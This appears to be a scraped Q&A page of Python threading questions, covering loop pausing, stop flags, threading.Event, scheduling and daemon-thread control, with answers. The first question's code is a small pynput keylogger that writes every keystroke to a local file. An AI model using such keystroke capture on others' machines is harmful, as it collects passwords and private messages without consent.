How to stop loop for a while in Python? - python

I have this code:
from pynput.keyboard import Key, Listener
import logging
import time as t
def stop():
print('Stop keylogging for a while')
def main():
logging.basicConfig(filename=('keylog.txt'), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener :
listener.join()
main()
stop()
It writes your typed letters in a file, but I want to stop it for a while do another function and again start writing typed letters
So I just need to stop this function after 1 hour:
main()
Start this function:
stop()
And again start this function:
main()
And I want it to works in a loop
Easier:
def stop():
print('Stop')
def main():
while True:
print("Working")
while True:
# Again start main() function
main()
# Do stop() function after 10 seconds
stop()
When I start this code main() works infinitely, I want to stop it but after 10 seconds, and start stop() function, than again go to the main() function

from threading import Thread
import time
def main():
print('Working')
def stop():
print('stopped')
while 1:
t = Thread(target=main)
t.start()
time.sleep(6)
t.join()
stop()
you can use thread for it

Related

How to ensure there is no runaway thread

import threading
from playsound import playsound
import time
soundList = []
bot_run = True
class myThread (threading.Thread):
def __init__(self):
global soundList
threading.Thread.__init__(self)
def run(self):
global soundList
global bot_run
while bot_run:
try:
time.sleep(1)
playsound(soundList.pop(0))
except:
pass
def main():
global soundList
global bot_run
input()
soundThread = myThread()
soundThread.start()
while not ((user_input := input('sound name: ')) == 'close'):
soundList.append(user_input)
bot_run = False
main()
I want to ensure someone who clicks the x on cmd doesn't end the program but the thread keeps going.
Does the thread die on its own when the main program ends? Does the bot_run variable cease to exist and therefore exit the while loop? How can I make sure I don't have this loop running forever when it's no longer being used if the user exited the program without following procedure?

Python exit a threading function from inside another function

I want to exit a threading function from inside another function. Here is an example:
from threading import *
from time import *
import keyboard
def ExampleFunction():
while True:
print('The Example function is running.') # do something in a loop
sleep(1)
def ExitFunction():
print('ExitFunction was called.')
keyboard.wait('f8') # wait until f8 was pressed
# do whatever it takes to exit the ExampleFunction
if __name__ == '__main__':
Thread(target=ExampleFunction).start()
Thread(target=ExitFunction).start()
You could use global variable running = True and in ExampleFunction use while running: and in other function use running = False
from threading import *
from time import *
import keyboard
# global variable
running = True
def ExampleFunction():
print("ExampleFunction: start")
while running:
#print('The Example function is running.') # do something in a loop
sleep(1)
print("ExampleFunction: exit")
def ExitFunction():
global running # inform function to use global variable instead of local variable
print('ExitFunction: start')
keyboard.wait('f8') # wait until f8 was pressed
running = False
print('ExitFunction: sleep')
sleep(5) # simulate other code
print('ExitFunction: end')
if __name__ == '__main__':
t1 = Thread(target=ExampleFunction)
t1.start()
t2 = Thread(target=ExitFunction)
t2.start()
t1.join() # wait for end of `ExampleFunction`
t2.join() # wait for end of `ExitFunction`
The same way you can use threading.Event and it doesn't need to use global running because it will not use = inside ExitFunction
from threading import *
from time import *
import keyboard
# global variable
running = Event()
running.set() # set `True`
def ExampleFunction():
print("ExampleFunction: start")
while running.is_set():
#print('The Example function is running.') # do something in a loop
sleep(1)
print("ExampleFunction: exit")
def ExitFunction():
print('ExitFunction: start')
keyboard.wait('f8') # wait until f8 was pressed
running.clear() # set `False`
print('ExitFunction: sleep')
sleep(5) # simulate other code
print('ExitFunction: end')
if __name__ == '__main__':
t1 = Thread(target=ExampleFunction)
t1.start()
t2 = Thread(target=ExitFunction)
t2.start()
t1.join() # wait for end of `ExampleFunction`
t2.join() # wait for end of `ExitFunction`
You may even send Event as argument in Thread
from threading import *
from time import *
import keyboard
# global variable
running = Event()
running.set() # set `True`
def ExampleFunction(running):
print("ExampleFunction: start")
while running.is_set():
#print('The Example function is running.') # do something in a loop
sleep(1)
print("ExampleFunction: exit")
def ExitFunction(running):
print('ExitFunction: start')
keyboard.wait('f8') # wait until f8 was pressed
running.clear() # set `False`
print('ExitFunction: sleep')
sleep(5) # simulate other code
print('ExitFunction: end')
if __name__ == '__main__':
t1 = Thread(target=ExampleFunction, args=(running,)) # `args` needs `,` inside `()` to create `tuple`
t1.start()
t2 = Thread(target=ExitFunction, args=(running,)) # `args` needs `,` inside `()` to create `tuple`
t2.start()
t1.join() # wait for end of `ExampleFunction`
t2.join() # wait for end of `ExitFunction`
BTW:
If you would use multiprocessing then you could kill() other process.

Nothing happened when scheduling a function to start at a certain time

I have a class to start a thread for a while loop. I tried to scheduling the thread class to start within a certain time but it doesn't work:
def test():
if __name__ == "__main__":
main()
schedule.every().day.at("17:25:50").do(test)
The function does not do anything even the time reached "17:25:50"
My full code:
import discord
import random
import time
import asyncio
import schedule
from facebook_scraper import get_posts, _scraper, exceptions
from discord.ext import commands, tasks
import threading
import time
import re
class LEDManager(threading.Thread):
def __init__(self, id_manager):
threading.Thread.__init__(self)
self.id_manager = int(id_manager)
def run(self):
while True:
try:
wanted = "Pecahan setiap negeri (Kumulatif):" # wanted post
for post in get_posts("myhealthkkm", pages=5):
if post.get("post_text") is not None and wanted in post.get("post_text"):
# print("Found", t)
listposts.append(post.get("post_text"))
# append until 3 page finish then go here
time.sleep(1)
print(listposts)
global listView
if listposts != 0:
listView = listposts.copy()
print(listView)
listposts.clear()
except exceptions.TemporarilyBanned:
print("Temporarily banned, sleeping for 10m")
time.sleep(600)
def main():
thread_id = ("0")
led_index = 0
thread_list = list()
for objs in thread_id:
thread = LEDManager(led_index)
thread_list.append(thread)
led_index += 1
for thread in thread_list:
thread.start()
time.sleep(1)
def test():
if __name__ == "__main__":
main()
schedule.every().day.at("17:25:50").do(test)
You forgot to add these lines:
while True:
schedule.run_pending()
time.sleep(1)
You should add them at the end of the file, so the system will keep checking forever, if "the job" needs to be done (if the hour is "17:25:50").
And here is the full documentation to see how to use the schedule module:
https://schedule.readthedocs.io/en/stable/

What is the correct way to control threads?

I need run 3 or 5 threads approx, this threads monitoring some activities in the OS. Because of this, the main program must be running in background. I've read many examples and explanations, but I'm not clear yet how to launch threads and main program in the background and after that, how to control them.
I start threads in daemon mode from main program:
import threading
import time
def fun1():
while True:
print("Thread 1")
time.sleep(1)
def fun2():
while True:
print("Thread 2")
time.sleep(1)
def fun3():
while True:
print("Thread 3")
time.sleep(1)
def main():
thread1 = threading.Thread(target=fun1)
thread1.daemon = True
thread1.start()
thread2 = threading.Thread(target=fun2)
thread2.daemon = True
thread2.start()
thread3 = threading.Thread(target=fun3)
thread3.daemon = True
thread3.start()
if __name__ == '__main__':
try:
main()
while True:
print("------------")
print("Main program")
print("------------")
time.sleep(3)
except (KeyboardInterrupt, SystemExit):
print("Terminated")
and after that I run the main program in background with (I'm not sure that this is the best way to do it for what I want to achieve):
python daemon_thread.py &
How control the threads after main program initialization if I need stop a specific thread, change its state, or whatever? How to access a specific thread or the main program?
I understand now how to do, to resume the problem: I have a main program running in background and this main program have some threads. But I want with another script or program stop the main program with the threads safetly and in some cases pause and resume threads.
I didn't have a correctly concept about how to use the Threads. I can stop or send signal to this threads from main program How?,with a database or config file.
I updated my project with this changes:
import threading
import time
import sqlite3
def fun1(stop_event1):
while not stop_event1.is_set():
print("Thread 1")
time.sleep(1)
def fun2(stop_event2):
while not stop_event2.is_set():
print("Thread 2")
time.sleep(1)
def fun3(stop_event3):
while not stop_event3.is_set():
print("Thread 3")
time.sleep(1)
def main():
stop_event1 = threading.Event()
thread1 = threading.Thread(target=fun1, args=(stop_event1,))
thread1.daemon = True
thread1.start()
stop_event2 = threading.Event()
thread2 = threading.Thread(target=fun2, args=(stop_event2,))
thread2.daemon = True
thread2.start()
stop_event3 = threading.Event()
thread3 = threading.Thread(target=fun3, args=(stop_event3,))
thread3.daemon = True
thread3.start()
while True:
print("------------")
print("Main program")
print("------------")
time.sleep(3)
if alive_main():
print("Finish Threads")
stop_event1.set()
stop_event2.set()
stop_event3.set()
print("Bye")
break
def alive_main():
conn = sqlite3.connect('example.db')
c = conn.cursor()
c.execute('SELECT alive_main FROM config')
row = c.fetchone()
if row[0] == 1:
return True
else:
return False
if __name__ == '__main__':
try:
main()
except (KeyboardInterrupt, SystemExit):
print("Terminated")
If I want change with another class or script the state of my threads, I just change config table in my database y this take effect in the Threads, from main function. In this example if I stop correctly my threads and program just I update table, that's it.
sqlite> UPDATE config SET alive_main = 1;
I need read about Signals and Condition Objects to complement correctly Threads uses.
Thanks everyone!

Why is helper thread not exiting in this python script?

I have three files:
helper.py
from globalvariables import *
global exit_signal
global exited_signal
def helperstart():
global exited_signal
while True:
if exit_signal is True:
exited_signal = True
print ('Exiting from helper thread')
return
main.py
from globalvariables import *
import threading
import helper
global exit_signal
global exited_signal
def mainstart():
global exit_signal
helper_thread = threading.Thread(target = helper.helperstart)
input ('Press <enter> to start the thread')
helper_thread.start()
input ('Press <enter> to end the thread')
exit_signal = True
# check if helper has exited
if exited_signal is True:
print ('Helper exited successfully')
if __name__ == '__main__':
mainstart()
globalvariables.py
exit_signal = False
exited_signal = False
From main.py, the value of exit_signal should be edited to True. This should make the helper thread exit. But it is not exiting. I've tried printing the value of exit_signal from helperstart() function and it keeps showing as False. So, the main.py isn't editing the variable properly. Please help me figure out why.

Categories